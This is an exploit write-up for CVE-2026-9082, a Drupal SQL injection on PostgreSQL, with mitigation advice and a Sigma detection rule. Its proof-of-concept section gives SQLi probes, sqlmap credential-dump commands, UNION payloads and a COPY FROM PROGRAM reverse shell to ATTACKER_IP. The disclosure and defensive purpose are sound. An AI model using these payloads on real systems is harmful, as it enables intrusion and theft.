Exploit for CVE-2026-9082

## https://sploitus.com/exploit?id=C5DAAA8D-8748-5503-A888-ABFFC1E3F3D7
# CVE-2026-9082 

**Type**: SQL Injection (CWE-89)
**Affected Product**: Drupal Core (Database Abstraction API)
**Drupal Advisory**: SA-CORE-2026-004
**Published**: May 20, 2026
**Severity**: Highly Critical (Drupal 20/25 | NVD CVSS 6.5)

---

## What Is It?

CVE-2026-9082 is a **SQL Injection** vulnerability in Drupal's core database abstraction API. Drupal's DB layer wraps PDO and sanitizes all queries before they reach the database. This vulnerability bypasses that sanitization for **PostgreSQL backends only** — specially crafted HTTP requests slip past the normalization logic, injecting attacker-controlled SQL fragments directly into database queries.

MySQL and MariaDB are **not affected** by the injection vector, though the patch release also bundles critical Symfony/Twig fixes that apply to all backends.

---

## Affected Versions

| Branch | Vulnerable | Patched |
|---|---|---|
| Drupal 10.4.x / 8.9.x | 8.9.0–10.4.9 | 10.4.10 |
| Drupal 10.5.x | 10.5.0–10.5.9 | 10.5.10 |
| Drupal 10.6.x | 10.6.0–10.6.8 | 10.6.9 |
| Drupal 11.0.x–11.1.x | 11.0.0–11.1.9 | 11.1.10 |
| Drupal 11.2.x | 11.2.0–11.2.11 | 11.2.12 |
| Drupal 11.3.x | 11.3.0–11.3.9 | 11.3.10 |

**Prerequisite**: Target must use PostgreSQL as its database backend.

---

## How It Works (Technical)

Drupal's DB abstraction layer sanitizes *values* via parameterized queries/prepared statements, but relies on the query builder to provide trusted *structural* SQL (field names, operators, ORDER BY targets). The bug is in how the PostgreSQL driver handles certain input patterns when building queries — PostgreSQL's SQL dialect differs from MySQL in key ways:

- String concatenation with `||`
- Type casting with `::`
- Dollar-quoting
- `COPY ... FROM PROGRAM` command
- Different operator handling

A crafted request introduces characters/sequences that pass Drupal's value-level sanitization but are interpreted as **structural SQL** by PostgreSQL's parser. The attack surface is reachable **without authentication** via any endpoint that passes user-controlled parameters into DB queries (search, view filters, form submissions, JSON:API, etc.).

### Exploitation Chain

```
Attacker (unauthenticated)
  |
  |--> HTTP request with crafted parameter
  |    (e.g. search field, filter, form input)
  |
  v
Drupal DB Abstraction API
  |
  |--> Sanitization bypass (PostgreSQL-specific)
  |
  v
PostgreSQL executes injected SQL
  |
  |--> Information disclosure (dump entire DB)
  |--> Privilege escalation (inject admin credentials)
  |--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)
```

---

## Why It's Dangerous

1. **No authentication required** — any internet-facing Drupal site on PostgreSQL is exposed
2. **RCE potential** — via `COPY TO PROGRAM 'cmd'` if DB user has superuser privileges
3. **Full DB access** — user accounts, password hashes, session tokens, PII
4. **Broad version range** — entire Drupal 8/10/11 lifecycle
5. **Compound risk** — same patch covers Twig SSTI; attacker can chain SQLi → admin creation → SSTI for RCE

Drupal's own warning: *"exploits might be developed within hours or days of disclosure"* (consistent with historical Drupal DB-layer CVEs like SA-CORE-2014-005 / Drupalgeddon).

---

## Proof-of-Concept (Authorized Lab Testing Only)

### Step 1: Identify Candidate Endpoints

```bash
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"
```

### Step 2: Detect PostgreSQL-Specific Injection

```bash
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"

# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"

# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"
```

### Step 3: Automated Extraction (sqlmap, Authorized Testing)

```bash
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  --level=5 --risk=3 \
  --technique=BEUST \
  --tamper=space2comment,between \
  --dbs

# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  -D drupal -T users_field_data \
  -C name,mail,pass --dump
```

### Step 4: Manual UNION-Based Extraction (Conceptual)

```sql
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2--  -- increment until error

-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--

-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--
```

### Step 5: RCE via COPY TO PROGRAM (If DB User = Superuser)

```sql
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;

-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
```

---

## Mitigation

### Immediate: Patch Drupal

```bash
# Composer (recommended)
composer update drupal/core drupal/core-recommended

# Verify version
php core/scripts/drupal --version

# OR via Drush
drush updb && drush cr
```

### Database Hardening

```sql
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false
```

### WAF (Temporary Stopgap Only — Not a Substitute for Patching)

Block patterns: `pg_sleep`, `COPY.*PROGRAM`, `::text`, `::integer`, `UNION.*SELECT`, `%27--`

### Network

Ensure PostgreSQL binds only to localhost or a private interface; not internet-reachable.

---

## Detection Signals

| Source | Signal |
|---|---|
| Web logs | `pg_sleep`, `::`, `UNION SELECT`, `--`, `COPY PROGRAM` in query strings |
| PostgreSQL logs | Syntax errors correlating with web request timestamps |
| Drupal watchdog | DB exceptions from search/view/jsonapi endpoints |
| auditd | `postgres` spawning child processes (COPY TO PROGRAM) |
| Drupal users table | New `administrator` role rows with recent timestamps |

### Sigma Rule (Detection)

```yaml
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|contains:
      - "pg_sleep"
      - "UNION+SELECT"
      - "::text"
      - "::integer"
      - "COPY+TO"
      - "%27--"
  filter:
    cs-uri-stem|contains:
      - "/search/"
      - "/views/ajax"
      - "/jsonapi/"
  condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]
```

---

## Summary

CVE-2026-9082 is a **zero-authentication SQL injection** in Drupal Core targeting PostgreSQL backends. Despite a moderate NVD CVSS of 6.5, Drupal rates it 20/25 (Highly Critical) because unauthenticated access + PostgreSQL's COPY TO PROGRAM = direct RCE in misconfigured environments. The broad affected version range and bundled Twig SSTI fixes make this a **critical, urgent patch** for all Drupal sites, especially those on PostgreSQL in internet-facing deployments.

**Recommended action**: Update to the patched version for your branch immediately. Verify your DB application user is not a PostgreSQL superuser.